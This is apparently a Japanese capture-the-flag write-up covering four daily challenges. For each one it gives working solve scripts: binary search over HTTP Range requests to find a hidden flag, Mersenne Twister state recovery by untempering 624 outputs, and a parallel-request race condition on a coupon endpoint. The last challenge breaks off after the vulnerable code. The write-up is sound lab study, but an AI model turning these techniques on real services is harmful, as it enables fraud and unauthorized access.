Index

3/15 flag.txt

巨大な flag.txt が与えられ、ブラウザからそのままダウンロードすることはできない。 ソースを読むと実際には巨大なファイルを持っているわけではなく、offset に応じてその場で内容を合成している。

FILE_SIZE = 0x7FFFFFFFFFFFFFFF

if offset < FLAG_OFFSET:
    seg_end = min(end, FLAG_OFFSET)
    out.extend(b"." * (seg_end - offset))
    offset = seg_end

if offset < FLAG_OFFSET + len(FLAG) and end > FLAG_OFFSET:
    flag_start = max(offset, FLAG_OFFSET)
    flag_end = min(end, FLAG_OFFSET + len(FLAG))
    out.extend(FLAG[flag_start - FLAG_OFFSET : flag_end - FLAG_OFFSET])

つまり必要なのは全体を読むことではなく、FLAG_OFFSET の位置を探すこと。 Flag is の直後から HTTP Range で 1 byte ずつ見て、. でなくなる最初の位置を二分探索すると flag の開始位置が分かる。

import urllib.request

URL = "<https://flag-txt.chal.alp4ca.com/flag.txt>"
FILE_SIZE = 0x7FFFFFFFFFFFFFFF
PREFIX_LEN = len(b"Flag is ")

def range_get(start, end):
    req = urllib.request.Request(URL, headers={"Range": f"bytes={start}-{end}"})
    with urllib.request.urlopen(req, timeout=20) as resp:
        return resp.read()

lo = PREFIX_LEN
hi = FILE_SIZE
while lo < hi:
    mid = (lo + hi) // 2
    if range_get(mid, mid) == b".":
        lo = mid + 1
    else:
        hi = mid

offset = lo
window = range_get(offset - 16, offset + 96).decode("utf-8", "replace")
print(window)

3/16 The future path

random.Random なので MT19937の問題。 メニュー 1 で現在の値を好きなだけ観測できて、メニュー 2 で少しだけ先の値を当てさせる構成になっている。

if choice == "1":
    print(f"[present #{pos:03d}] {rng.getrandbits(32)}")
elif choice == "2":
    i = secrets.randbelow(128)
    for _ in range(i):
        rng.getrandbits(32)
    ans = rng.getrandbits(32)

32-bit 出力を 624 個集めれば state を復元できる。各出力を untemper して clone を作り、i 回だけ進めて次の値を送ればよい。 実装では往復を減らすために 1\\n を 624 回まとめて送り、最後に 2\\n を付けている。

import random
import re
from pwn import remote

HOST = "34.170.146.252"
PORT = 6911
OBSERVE_COUNT = 624
PRESENT_RE = re.compile(r"\\[present #\\d+\\] (\\d+)")
SKIP_RE = re.compile(r"i = (\\d+)")

def undo_right(y: int, shift: int) -> int:
    x = y
    for _ in range(10):
        x = y ^ (x >> shift)
    return x & 0xFFFFFFFF

def undo_left(y: int, shift: int, mask: int) -> int:
    x = y
    for _ in range(10):
        x = y ^ ((x << shift) & mask)
    return x & 0xFFFFFFFF

def untemper(y: int) -> int:
    y = undo_right(y, 18)
    y = undo_left(y, 15, 0xEFC60000)
    y = undo_left(y, 7, 0x9D2C5680)
    y = undo_right(y, 11)
    return y & 0xFFFFFFFF

def clone_rng(outputs: list[int]) -> random.Random:
    state = tuple(untemper(value) for value in outputs) + (624,)
    rng = random.Random()
    rng.setstate((3, state, None))
    return rng

io = remote(HOST, PORT)
io.recvuntil(b"> ")
io.send((b"1\\n" * OBSERVE_COUNT) + b"2\\n")
text = io.recvuntil(b"Speak the next omen > ").decode()
outputs = [int(x) for x in PRESENT_RE.findall(text)]
rng = clone_rng(outputs)
skip = int(SKIP_RE.search(text).group(1))
for _ in range(skip):
    rng.getrandbits(32)
io.sendline(str(rng.getrandbits(32)).encode())
print(io.recvall().decode())

3/17 Free Coupon

/redeem の処理を見ると、クーポン使用済みの確認と残高更新の間に待ち時間が入っている。RaceConditionの問題。

const { redeemed } = sessions.get(req.sid);
await sleep(1000);

if (redeemed) {
  return res.end(`You already redeemed your coupon.<a href="/">Home</a>`);
}

await sleep(1000);
const { balance } = sessions.get(req.sid);
sessions.set(req.sid, {
  redeemed: true,
  balance: balance + 10,
});

この形だと、redeemedの判定が1秒後、切り替えが2秒後なので、同じ sid/redeem を並列に叩いたとき複数リクエストがどれも redeemed == false のまま進めてしまう。 結果として balance += 10 が何回も通るので、3 回以上成功させてから /buy に行けば flag を買える。

from concurrent.futures import ThreadPoolExecutor
import requests

BASE_URL = "<http://~>"
RACE_COUNT = 5

session = requests.Session()
session.get(f"{BASE_URL}/", timeout=5)
sid = session.cookies["sid"]

def hit_redeem(_: int) -> None:
    requests.get(f"{BASE_URL}/redeem", cookies={"sid": sid}, timeout=10)

with ThreadPoolExecutor(max_workers=RACE_COUNT) as executor:
    list(executor.map(hit_redeem, range(RACE_COUNT)))

resp = requests.get(f"{BASE_URL}/buy", cookies={"sid": sid}, timeout=5)
print(resp.text)

3/18 PPPPParse

入力に \\\\ が含まれていなければ JSON.parse を 5 回通し、最後に "42" (文字列)になっているかを見ている。

if (input.includes("\\\\\\\\")) return "Invalid";

const ans = JSON.parse(JSON.parse(JSON.parse(JSON.parse(JSON.parse(input)))));
if (ans === "42") {
  return process.env.FLAG;
}